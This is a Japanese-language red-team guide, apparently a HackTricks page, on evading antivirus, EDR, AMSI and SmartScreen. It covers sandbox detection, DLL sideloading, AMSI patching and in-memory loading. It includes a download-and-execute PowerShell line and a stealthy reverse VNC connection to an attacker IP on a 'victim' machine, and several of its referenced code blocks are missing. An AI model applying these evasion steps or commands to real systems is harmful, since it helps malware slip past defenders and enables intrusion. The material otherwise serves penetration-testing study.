Antivirus (AV) Bypass
このページは @m2rc_pによって書かれました!
AV回避方法論
現在、AVはファイルが悪意のあるものであるかどうかを確認するために、静的検出、動的分析、そしてより高度なEDRの場合は行動分析など、さまざまな方法を使用しています。
静的検出
静的検出は、バイナリやスクリプト内の既知の悪意のある文字列やバイトの配列にフラグを立てたり、ファイル自体から情報を抽出したりすることで達成されます(例:ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)。これは、既知の公開ツールを使用すると、分析されて悪意のあるものとしてフラグが立てられている可能性が高いため、簡単に捕まる可能性があることを意味します。この種の検出を回避する方法はいくつかあります:
暗号化
バイナリを暗号化すると、AVがプログラムを検出する方法はなくなりますが、メモリ内でプログラムを復号化して実行するためのローダーが必要になります。
難読化
時には、AVを通過させるためにバイナリやスクリプト内のいくつかの文字列を変更するだけで済むことがありますが、何を難読化しようとしているかによっては、時間がかかる作業になることがあります。
カスタムツール
独自のツールを開発すれば、既知の悪意のあるシグネチャは存在しませんが、これには多くの時間と労力がかかります。
Windows Defenderの静的検出に対抗する良い方法はThreatCheckです。これは基本的にファイルを複数のセグメントに分割し、Defenderにそれぞれを個別にスキャンさせることで、バイナリ内のフラグが立てられた文字列やバイトを正確に教えてくれます。
実践的なAV回避に関するこのYouTubeプレイリストをぜひチェックすることをお勧めします。
動的分析
動的分析は、AVがバイナリをサンドボックス内で実行し、悪意のある活動を監視することです(例:ブラウザのパスワードを復号化して読み取ろうとする、LSASSのミニダンプを実行するなど)。この部分は扱いが少し難しいことがありますが、サンドボックスを回避するためにできることはいくつかあります。
実行前のスリープ 実装方法によっては、AVの動的分析を回避するための素晴らしい方法になることがあります。AVはユーザーの作業フローを中断しないようにファイルをスキャンするための時間が非常に短いため、長いスリープを使用するとバイナリの分析を妨げることができます。問題は、多くのAVのサンドボックスが実装方法によってはスリープをスキップできることです。
マシンのリソースをチェック 通常、サンドボックスは扱えるリソースが非常に少ない(例:< 2GB RAM)ため、そうでなければユーザーのマシンを遅くする可能性があります。ここでは非常にクリエイティブになることもできます。たとえば、CPUの温度やファンの速度をチェックすることで、すべてがサンドボックスに実装されているわけではありません。
マシン固有のチェック "contoso.local"ドメインに参加しているユーザーをターゲットにしたい場合、コンピュータのドメインをチェックして指定したものと一致するかどうかを確認できます。一致しない場合は、プログラムを終了させることができます。
Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THであるため、爆発前にマルウェア内でコンピュータ名をチェックできます。名前がHAL9THと一致する場合、Defenderのサンドボックス内にいることを意味するため、プログラムを終了させることができます。
サンドボックスに対抗するための@mgeekyからの他の非常に良いヒント
この投稿で以前に述べたように、公開ツールは最終的に検出されるため、次のことを自問する必要があります:
たとえば、LSASSをダンプしたい場合、本当にmimikatzを使用する必要がありますか?それとも、LSASSをダンプする別のあまり知られていないプロジェクトを使用できますか。
正しい答えはおそらく後者です。mimikatzを例に取ると、これはおそらくAVやEDRによって最もフラグが立てられたマルウェアの一つであり、プロジェクト自体は非常にクールですが、AVを回避するためにそれを扱うのは悪夢のようなものです。したがって、達成しようとしていることの代替手段を探してください。
回避のためにペイロードを変更する際は、Defenderで自動サンプル送信をオフにすることを確認し、長期的に回避を達成することが目標である場合は、VIRUSTOTALにアップロードしないでください。特定のAVによってペイロードが検出されるかどうかを確認したい場合は、VMにインストールし、自動サンプル送信をオフにし、結果に満足するまでそこでテストしてください。
EXEとDLL
可能な限り、常に回避のためにDLLを使用することを優先してください。私の経験では、DLLファイルは通常はるかに検出されにくく、分析されにくいため、場合によっては検出を回避するための非常に簡単なトリックです(もちろん、ペイロードがDLLとして実行される方法がある場合)。
この画像に示されているように、HavocのDLLペイロードはantiscan.meでの検出率が4/26であるのに対し、EXEペイロードは7/26の検出率です。
ここでは、DLLファイルを使用してはるかにステルス性を高めるためのいくつかのトリックを示します。
DLLサイドローディングとプロキシング
DLLサイドローディングは、ローダーによって使用されるDLL検索順序を利用し、被害者アプリケーションと悪意のあるペイロードを並べて配置することです。
DLLサイドローディングに脆弱なプログラムをチェックするには、Siofraと次のPowerShellスクリプトを使用できます:
このコマンドは、「C:\Program Files\」内でDLLハイジャックに脆弱なプログラムのリストと、それらが読み込もうとするDLLファイルを出力します。
私はあなたがDLLハイジャック可能/サイドロード可能なプログラムを自分で調査することを強くお勧めします。この技術は適切に行えば非常にステルス性がありますが、一般に知られているDLLサイドロード可能なプログラムを使用すると、簡単に捕まる可能性があります。
悪意のあるDLLをプログラムが読み込むことを期待する名前で配置するだけでは、ペイロードは読み込まれません。プログラムはそのDLL内に特定の関数を期待しているため、この問題を解決するために、DLLプロキシング/フォワーディングという別の技術を使用します。
DLLプロキシングは、プログラムがプロキシ(および悪意のある)DLLから元のDLLに対して行う呼び出しを転送し、プログラムの機能を保持しつつ、ペイロードの実行を処理できるようにします。
私は@flangvikのSharpDLLProxyプロジェクトを使用します。
私が従った手順は次のとおりです:
最後のコマンドは、DLLソースコードテンプレートと元の名前を変更したDLLの2つのファイルを生成します。
これが結果です:
私たちのシェルコード(SGNでエンコードされた)とプロキシDLLは、antiscan.meで0/26の検出率を持っています!これは成功だと言えるでしょう。
私は強く推奨します、S3cur3Th1sSh1tのtwitch VODを視聴し、またippsecのビデオを見て、私たちがより深く議論したことについて学んでください。
Freezeは、サスペンドされたプロセス、直接システムコール、および代替実行方法を使用してEDRをバイパスするためのペイロードツールキットです
Freezeを使用して、シェルコードをステルスな方法でロードおよび実行できます。
回避は単なる猫とネズミのゲームであり、今日機能するものが明日検出される可能性があるため、可能であれば1つのツールに依存せず、複数の回避技術を組み合わせて試みてください。
AMSI (アンチマルウェアスキャンインターフェース)
AMSIは「ファイルレスマルウェア」を防ぐために作成されました。最初は、AVはディスク上のファイルのみをスキャンできたため、ペイロードをメモリ内で直接実行できれば、AVは何も防ぐことができませんでした。なぜなら、十分な可視性がなかったからです。
AMSI機能はWindowsのこれらのコンポーネントに統合されています。
ユーザーアカウント制御、またはUAC(EXE、COM、MSI、またはActiveXインストールの昇格)
PowerShell(スクリプト、対話的使用、および動的コード評価)
Windows Script Host(wscript.exeおよびcscript.exe)
JavaScriptおよびVBScript
Office VBAマクロ
これは、スクリプトの内容を暗号化されておらず、難読化されていない形式で公開することにより、アンチウイルスソリューションがスクリプトの動作を検査できるようにします。
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
を実行すると、Windows Defenderで次のアラートが表示されます。
スクリプトが実行された実行可能ファイルへのパスの前にamsi:
が付加されていることに注意してください。この場合、powershell.exeです。
ディスクにファイルを落とさなかったにもかかわらず、AMSIのためにメモリ内で捕まってしまいました。
AMSIを回避する方法はいくつかあります:
難読化
AMSIは主に静的検出で機能するため、読み込もうとするスクリプトを変更することは、検出を回避する良い方法となる可能性があります。
ただし、AMSIは複数のレイヤーがあってもスクリプトを難読化解除する能力があるため、難読化の方法によっては悪い選択肢となる可能性があります。これにより、回避が簡単ではなくなります。ただし、時には変数名をいくつか変更するだけで済むこともあるため、どれだけフラグが立てられているかによります。
AMSIバイパス
AMSIはpowershell(またはcscript.exe、wscript.exeなど)のプロセスにDLLをロードすることによって実装されているため、特権のないユーザーとして実行しても簡単に改ざんすることが可能です。このAMSIの実装の欠陥により、研究者たちはAMSIスキャンを回避するための複数の方法を見つけました。
エラーを強制する
AMSIの初期化を失敗させる(amsiInitFailed)ことで、現在のプロセスに対してスキャンが開始されない結果になります。元々、これはMatt Graeberによって公開され、Microsoftは広範な使用を防ぐためのシグネチャを開発しました。
現在のpowershellプロセスでAMSIを無効にするためには、1行のpowershellコードだけで済みました。この行はもちろんAMSI自体によってフラグが立てられているため、この技術を使用するにはいくつかの修正が必要です。
こちらは、私がこのGithub Gistから取った修正されたAMSIバイパスです。
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
メモリパッチ
この技術は最初に @RastaMouse によって発見され、amsi.dll内の「AmsiScanBuffer」関数のアドレスを見つけて、E_INVALIDARGのコードを返すように上書きすることを含みます。これにより、実際のスキャンの結果は0を返し、これはクリーンな結果として解釈されます。
より詳細な説明については、https://rastamouse.me/memory-patching-amsi-bypass/をお読みください。
また、PowerShellを使用してAMSIをバイパスするための他の多くの技術もあります。詳細については、このページやこのリポジトリをチェックしてください。
また、このスクリプトはメモリパッチを介して新しいPowershをパッチします。
難読化
C#のクリアテキストコードを難読化したり、バイナリをコンパイルするためのメタプログラミングテンプレートを生成したり、コンパイルされたバイナリを難読化するために使用できるツールはいくつかあります:
InvisibilityCloak: C# 難読化ツール
Obfuscator-LLVM: このプロジェクトの目的は、LLVMコンパイルスイートのオープンソースフォークを提供し、コード難読化と改ざん防止を通じてソフトウェアのセキュリティを向上させることです。
ADVobfuscator: ADVobfuscatorは、
C++11/14
言語を使用して、外部ツールを使用せず、コンパイラを変更せずに、コンパイル時に難読化されたコードを生成する方法を示しています。obfy: C++テンプレートメタプログラミングフレームワークによって生成された難読化された操作のレイヤーを追加し、アプリケーションをクラッキングしようとする人の生活を少し難しくします。
Alcatraz: Alcatrazは、.exe、.dll、.sysなどのさまざまなpeファイルを難読化できるx64バイナリ難読化ツールです。
metame: Metameは、任意の実行可能ファイル用のシンプルなメタモルフィックコードエンジンです。
ropfuscator: ROPfuscatorは、ROP(リターン指向プログラミング)を使用してLLVMサポート言語のための細粒度のコード難読化フレームワークです。ROPfuscatorは、通常の命令をROPチェーンに変換することによって、アセンブリコードレベルでプログラムを難読化し、通常の制御フローの自然な概念を妨害します。
Nimcrypt: Nimcryptは、Nimで書かれた.NET PEクリプターです。
inceptor: Inceptorは、既存のEXE/DLLをシェルコードに変換し、それをロードすることができます。
SmartScreen & MoTW
インターネットからいくつかの実行可能ファイルをダウンロードして実行する際に、この画面を見たことがあるかもしれません。
Microsoft Defender SmartScreenは、エンドユーザーが潜在的に悪意のあるアプリケーションを実行するのを防ぐためのセキュリティメカニズムです。
SmartScreenは主に評判ベースのアプローチで機能し、一般的でないダウンロードアプリケーションはSmartScreenをトリガーし、エンドユーザーがファイルを実行するのを警告し防止します(ただし、ファイルは「詳細情報」->「それでも実行」をクリックすることで実行できます)。
MoTW(Mark of The Web)は、NTFS Alternate Data Streamで、Zone.Identifierという名前が付けられ、インターネットからファイルをダウンロードすると自動的に作成され、ダウンロード元のURLと共に保存されます。
信頼された署名証明書で署名された実行可能ファイルはSmartScreenをトリガーしないことに注意することが重要です。
ペイロードがMark of The Webを受け取らないようにする非常に効果的な方法は、それらをISOのようなコンテナにパッケージ化することです。これは、Mark-of-the-Web (MOTW) が 非NTFSボリュームに適用できないためです。
PackMyPayloadは、Mark-of-the-Webを回避するためにペイロードを出力コンテナにパッケージ化するツールです。
使用例:
Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using PackMyPayload
C# アセンブリリフレクション
C# バイナリをメモリにロードすることはかなり前から知られており、AVに捕まることなくポストエクスプロイトツールを実行するための非常に優れた方法です。
ペイロードはディスクに触れずに直接メモリにロードされるため、プロセス全体でAMSIをパッチすることだけを心配すればよいです。
ほとんどのC2フレームワーク(sliver、Covenant、metasploit、CobaltStrike、Havocなど)は、すでにC#アセンブリをメモリ内で直接実行する機能を提供していますが、異なる方法があります:
フォーク&ラン
これは新しい犠牲プロセスを生成し、その新しいプロセスにポストエクスプロイトの悪意のあるコードを注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了させることを含みます。これには利点と欠点があります。フォーク&ランメソッドの利点は、実行が私たちのビーコンインプラントプロセスの外部で行われることです。これは、ポストエクスプロイトアクションの何かがうまくいかない場合や捕まった場合、私たちのインプラントが生き残る可能性がはるかに高いことを意味します。欠点は、行動検出によって捕まる可能性が高くなることです。
インライン
これは、ポストエクスプロイトの悪意のあるコードを自分のプロセスに注入することです。この方法では、新しいプロセスを作成してAVにスキャンされるのを避けることができますが、欠点は、ペイロードの実行に何か問題が発生した場合、ビーコンを失う可能性がはるかに高くなることです。
C# アセンブリのロードについてもっと知りたい場合は、この記事 https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ とそのInlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly) をチェックしてください。
C# アセンブリをPowerShellからロードすることもできます。 Invoke-SharpLoader と S3cur3th1sSh1tのビデオ をチェックしてください。
他のプログラミング言語の使用
https://github.com/deeexcee-io/LOI-Bins で提案されているように、妥協されたマシンに攻撃者が制御するSMB共有にインストールされたインタプリタ環境へのアクセスを与えることで、他の言語を使用して悪意のあるコードを実行することが可能です。
インタプリタバイナリとSMB共有上の環境へのアクセスを許可することで、妥協されたマシンのメモリ内でこれらの言語の任意のコードを実行することができます。
リポジトリは次のように示しています:Defenderはスクリプトをスキャンし続けますが、Go、Java、PHPなどを利用することで、静的シグネチャをバイパスする柔軟性が高まります。これらの言語でランダムな非難読化リバースシェルスクリプトをテストした結果、成功が確認されました。
高度な回避
回避は非常に複雑なトピックであり、時には1つのシステム内の多くの異なるテレメトリソースを考慮する必要があるため、成熟した環境では完全に検出されないことはほぼ不可能です。
対抗する環境はそれぞれ独自の強みと弱みを持っています。
@ATTL4S のこのトークをぜひご覧いただき、高度な回避技術についての足がかりを得てください。
@mariuszbit による深い回避についての別の素晴らしいトークもあります。
古い技術
Defenderが悪意のあるものとして見つける部分を確認する
ThreatCheck を使用すると、バイナリの一部を削除して、Defenderが悪意のあるものとして見つけている部分を特定し、それを分割してくれます。 同じことを行う別のツールは、avred で、オープンウェブでサービスを提供しています https://avred.r00ted.ch/
Telnetサーバー
Windows10まで、すべてのWindowsにはTelnetサーバーが付属しており、(管理者として)次のようにインストールできます:
システムが起動したときに開始し、今すぐ実行します:
Telnetポートの変更 (ステルス) とファイアウォールの無効化:
UltraVNC
ダウンロードはこちらから: http://www.uvnc.com/downloads/ultravnc.html (セットアップではなく、binダウンロードを選択してください)
ホスト上で: winvnc.exe を実行し、サーバーを設定します:
オプション Disable TrayIcon を有効にする
VNC Password にパスワードを設定する
View-Only Password にパスワードを設定する
次に、バイナリ winvnc.exe と 新しく作成されたファイル UltraVNC.ini を 被害者の中に移動します。
リバース接続
攻撃者は ホスト内で バイナリ vncviewer.exe -listen 5900
を実行し、リバース VNC接続をキャッチする準備をします。その後、被害者内で: winvncデーモン winvnc.exe -run
を開始し、winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900
を実行します。
警告: ステルスを維持するために、いくつかのことを行ってはいけません
winvnc
がすでに実行中の場合は開始しないでください。そうしないと ポップアップ が表示されます。tasklist | findstr winvnc
で実行中か確認してください同じディレクトリに
UltraVNC.ini
がない状態でwinvnc
を開始しないでください。そうしないと 設定ウィンドウ が開きますヘルプのために
winvnc -h
を実行しないでください。そうしないと ポップアップ が表示されます
GreatSCT
ダウンロードはこちらから: https://github.com/GreatSCT/GreatSCT
Inside GreatSCT:
今、リスターを開始するには msfconsole -r file.rc
を使用し、xmlペイロードを実行するには:
現在のディフェンダーはプロセスを非常に速く終了させます。
自分自身のリバースシェルをコンパイルする
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
最初のC#リバースシェル
次のコマンドでコンパイルします:
使用するには:
C# コンパイラの使用
REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
自動ダウンロードと実行:
C# オブfuscators リスト: https://github.com/NotPrab/.NET-Obfuscator
C++
Pythonを使用したインジェクタの例:
その他のツール
More
Last updated